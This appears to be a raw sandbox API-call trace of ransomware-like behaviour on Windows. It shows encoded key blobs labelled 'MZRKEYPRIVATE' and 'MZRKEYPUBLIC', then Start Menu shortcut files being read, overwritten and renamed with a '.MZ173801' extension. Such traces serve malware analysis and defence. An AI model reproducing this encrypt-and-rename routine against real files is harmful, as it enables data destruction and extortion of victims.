CpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x24a003c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0211.515] GetCurrentThreadId () returned 0xab4 [0211.515] GetCurrentThreadId () returned 0xab4 [0211.515] GetCurrentThreadId () returned 0xab4 [0211.592] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0211.592] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24b109c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0211.593] GetCurrentThreadId () returned 0xab4 [0211.598] GetCurrentThreadId () returned 0xab4 [0211.598] GetCurrentThreadId () returned 0xab4 [0211.598] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Project 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\project 2016.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x328 [0211.599] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f740*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f740*=0) returned 0x0 [0211.599] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0211.603] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x87e [0211.603] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0211.605] ReadFile (in: hFile=0x328, lpBuffer=0x24b8ea0, nNumberOfBytesToRead=0x87e, lpNumberOfBytesRead=0x19f74c, lpOverlapped=0x0 | out: lpBuffer=0x24b8ea0*, lpNumberOfBytesRead=0x19f74c*=0x87e, lpOverlapped=0x0) returned 1 [0211.685] CloseHandle (hObject=0x328) returned 1 [0211.685] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Project 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\project 2016.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x328 [0211.687] WriteFile (in: hFile=0x328, lpBuffer=0x24baed0*, nNumberOfBytesToWrite=0x87e, lpNumberOfBytesWritten=0x19f758, lpOverlapped=0x0 | out: lpBuffer=0x24baed0*, lpNumberOfBytesWritten=0x19f758*=0x87e, lpOverlapped=0x0) returned 1 [0211.691] CloseHandle (hObject=0x328) returned 1 [0211.691] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Project 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\project 2016.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Project 2016.lnk.MZ173801" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\project 2016.lnk.mz173801")) returned 1 [0211.692] GetCurrentThreadId () returned 0xab4 [0211.692] GetCurrentThreadId () returned 0xab4 [0211.692] GetCurrentThreadId () returned 0xab4 [0211.692] GetCurrentThreadId () returned 0xab4 [0211.692] GetCurrentThreadId () returned 0xab4 [0211.692] GetCurrentThreadId () returned 0xab4 [0211.692] FindNextFileW (in: hFindFile=0xa1b268, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4d935fc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4d935fc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4d935fc, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x967, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="Publisher 2016.lnk", cAlternateFileName="PUBLIS~1.LNK")) returned 1 [0211.692] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0211.692] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0211.692] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Publisher 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\publisher 2016.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19f78c | out: lpFileInformation=0x19f78c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4d935fc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4d935fc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4d935fc, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x967)) returned 1 [0211.692] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Publisher 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\publisher 2016.lnk")) returned 0x20 [0211.692] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Publisher 2016.lnk", dwFileAttributes=0x80) returned 1 [0211.694] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0211.695] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24a003c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4